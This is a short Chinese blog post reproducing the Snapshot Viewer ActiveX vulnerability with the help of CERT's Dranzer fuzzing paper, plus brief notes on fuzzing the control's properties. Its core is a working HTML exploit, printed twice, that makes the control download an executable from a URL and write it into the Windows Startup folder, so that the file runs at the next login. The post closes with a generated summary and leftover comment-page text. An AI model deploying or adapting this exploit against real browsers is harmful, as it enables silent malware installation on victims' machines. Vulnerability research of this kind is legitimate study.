Snapshot Viewer的ADV,结合CERT那篇dranzer.pdf,重现漏洞
EXP:
<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath = buf1;
obj.CompressedPath = buf2;
obj.PrintSnapshot();
</script>
</html>
Fuzzing时一般是对单个Property和单个Method()做FUZZ,这时会检测到对SnapshotPath有HTTP GET。然后想想它总是需要保存到本地的,再测试其他Property。由于此ActiveX的Property和Method都非常少,很快可以 FUZZ完
EXP:
<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath = buf1;
obj.CompressedPath = buf2;
obj.PrintSnapshot();
</script>
</html>
Fuzzing时一般是对单个Property和单个Method()做FUZZ,这时会检测到对SnapshotPath有HTTP GET。然后想想它总是需要保存到本地的,再测试其他Property。由于此ActiveX的Property和Method都非常少,很快可以 FUZZ完
本文详细介绍了如何通过SnapshotViewer结合CERT提供的dranzer.pdf文件,重现并分析ActiveX控件中的漏洞。重点讨论了在Fuzzing过程中对关键属性和方法的遍历,特别是对SnapshotPath属性的HTTP GET操作检测,以及如何通过进一步测试其他属性来深入理解漏洞机制。
881

被折叠的 条评论
为什么被折叠?



